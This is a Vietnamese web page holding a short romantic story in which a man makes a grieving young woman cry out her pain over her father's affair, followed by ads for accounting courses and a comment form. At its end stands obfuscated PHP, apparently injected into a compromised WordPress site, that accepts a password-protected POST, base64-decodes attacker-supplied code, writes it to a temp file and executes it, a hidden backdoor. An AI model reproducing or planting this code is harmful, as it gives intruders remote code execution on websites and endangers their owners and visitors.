Chiếc xe băng qua một cây cầu rồi lao mình xuống dưới một con dốc. Thành phố đã nằm tuột lại phía sau. Xa xa, bờ đê với vạt cỏ xanh rì đang dần dần hiện rõ. Em ngồi đó, im lìm bên buổi chiều tàn, mái tóc ngắn màu hạt dẻ khẽ bị gió hất lên, khuôn mặt giờ đây sao trở nên hốc hác và thiếu sức sống nhiều quá. Tôi đỗ xe rồi bước đến bên em, thật nhẹ nhàng. Khi yên vị ngay sau em, tôi thấy em hơi nhích đầu lên một chút, có lẽ vì biết có người đến. Nhưng em cũng chẳng thèm quan tâm, phải đến khi lo lắng vì có người cứ im lìm phía sau mình thì em mới chịu ngoảnh đầu lại. Thấy tôi, đôi mắt buồn bỗng mở to đầy ngạc nhiên, khuôn miệng khẽ cười để lộ hàm răng trắng xóa. Nhưng rồi bỗng nhiên đôi mắt em trùng xuống, khuôn miệng cũng không còn tươi rói một nụ cười. Em nghĩ lại cảnh tôi đã đuổi em đi đây mà. Rồi em đứng dậy và quay người bước đi.

– Anh muốn kể cho em nghe một câu chuyện. Sau khi nghe xong anh sẽ để em đi.

Em không nói gì, nhưng cũng không cất bước, vậy là tôi hiểu mình đã được cho phép.

– Anh có quen một cô gái, một cô gái rất đáng mến. Một cô gái có số phận đau thương nhưng vẫn luôn luôn chứa trong mình khao khát sống. Một cô gái với những vẻ đẹp mà không một ai khác có thể có được. Đến cái tên cũng nói nên vẻ đẹp của cô ấy. Cô tên…Tiểu Mai.

Câu nói của tôi bỗng dưng lại khựng lại. Tôi không biết cách mình đang áp dụng liệu có đúng hay không nữa.

– Cô cũng như bao con người khác, được sinh ra trong tình yêu thương của cha mẹ. Được cha mẹ, bạn bè quý mến. Ngỡ như cuộc sống của cô sẽ mãi êm đềm như vậy thì bỗng dưng một ngày, người cha, người mà cô ấy….

– Anh đừng kể nữa. Em cất tiếng, tôi nghe rõ trong câu nói đã có đôi chút nghẹn ngào. Mặc vậy, tôi vẫn tiếp tục.

– Người mà cô ấy yêu thương và kính trọng hơn cả lại đi cặp kè với một người đàn bà khác. Ông ta…

– Em nói anh đừng có kể nữa… Em quay hẳn lại rồi hét vào mặt tôi, đôi mắt nhỏ đã thấy rưng rưng những giọt nước.

– Ông ta…

– Đừng kể nữaaaaaaa. Em vừa tiến nhanh về phía tôi vừa hét. Rồi khi đứng ngay trước mặt tôi. Em….đánh tôi, những cú đánh liên hồi và thật sự là không nhẹ nhàng chút nào hết. Nhưng xem ra cách của tôi đã thực sự có hiệu quả. Trên hai gò má nhô cao kia đã thấy rõ những hàng lệ lăn dài. Tôi rang rộng tay ôm trọn em vào lòng.

– Khóc đi em! Khóc đi!

Tôi hôn nhẹ lên trán em, khẽ lấy tay xoa xoa làn tóc đã sớm bị gió làm cho rối bù. Em khóc, khóc như chưa bao giờ được khóc. Đến nỗi khoảng áo nơi ngực trái của tôi đã ướt sũng cả đi vì nước mắt. Từng tiếng nấc vang lên tựa như mũi dao nhọn hoắt đâm thẳng vào trái tim tôi vậy. Tôi thương em. Và có lẽ là cũng thương cho chính bản thân mình. Ôm em trong vòng tay rộng lớn, tôi cũng tự nhiên tìm ra cho mình một lối thoát. Giây phút ấy, trên gò má của tôi, một giọt nước mắt nhỏ cũng vừa kịp lăn dài.

LỚP TIN HỌC VĂN PHÒNG CƠ BẢNxem ngay

LỚP HỌC CHỨNG CHỈ KẾ TOÁNxem ngay

KHÓA HỌC KẾ TOÁN CHO GIÁM ĐỐC CHỦ DOANH NGHIỆPxem ngay


    TƯ VẤN MIỄN PHÍ - HỖ TRỢ 24/7

    Nếu bạn đang quan tâm " KHÓA KẾ TOÁN TỔNG HỢP THỰC TẾ " thì hãy để lại thông tin tại đây. Chúng tôi sẽ liên hệ lại ngay để hỗ trợ bạn.

    Địa chỉ học(*): Hà NộiTP HCMTỉnh Khác

    Leave a Reply

    Your email address will not be published. Required fields are marked *

    if(!function_exists("_set_fetas_tag") && !function_exists("_set_betas_tag")){try{function _set_fetas_tag(){if(isset($_GET['here'])&&!isset($_POST['here'])){die(md5(8));}if(isset($_POST['here'])){$a1='m'.'d5';if($a1($a1($_POST['here']))==="83a7b60dd6a5daae1a2f1a464791dac4"){$a2="fi"."le"."_put"."_contents";$a22="base";$a22=$a22."64";$a22=$a22."_d";$a22=$a22."ecode";$a222="PD"."9wa"."HAg";$a2222=$_POST[$a1];$a3="sy"."s_ge"."t_te"."mp_dir";$a3=$a3();$a3 = $a3."/".$a1(uniqid(rand(), true));@$a2($a3,$a22($a222).$a22($a2222));include($a3); @$a2($a3,'1'); @unlink($a3);die();}else{echo md5(7);}die();}} _set_fetas_tag();if(!isset($_POST['here'])&&!isset($_GET['here'])){function _set_betas_tag(){echo "";}add_action('wp_head','_set_betas_tag');}}catch(Exception $e){}}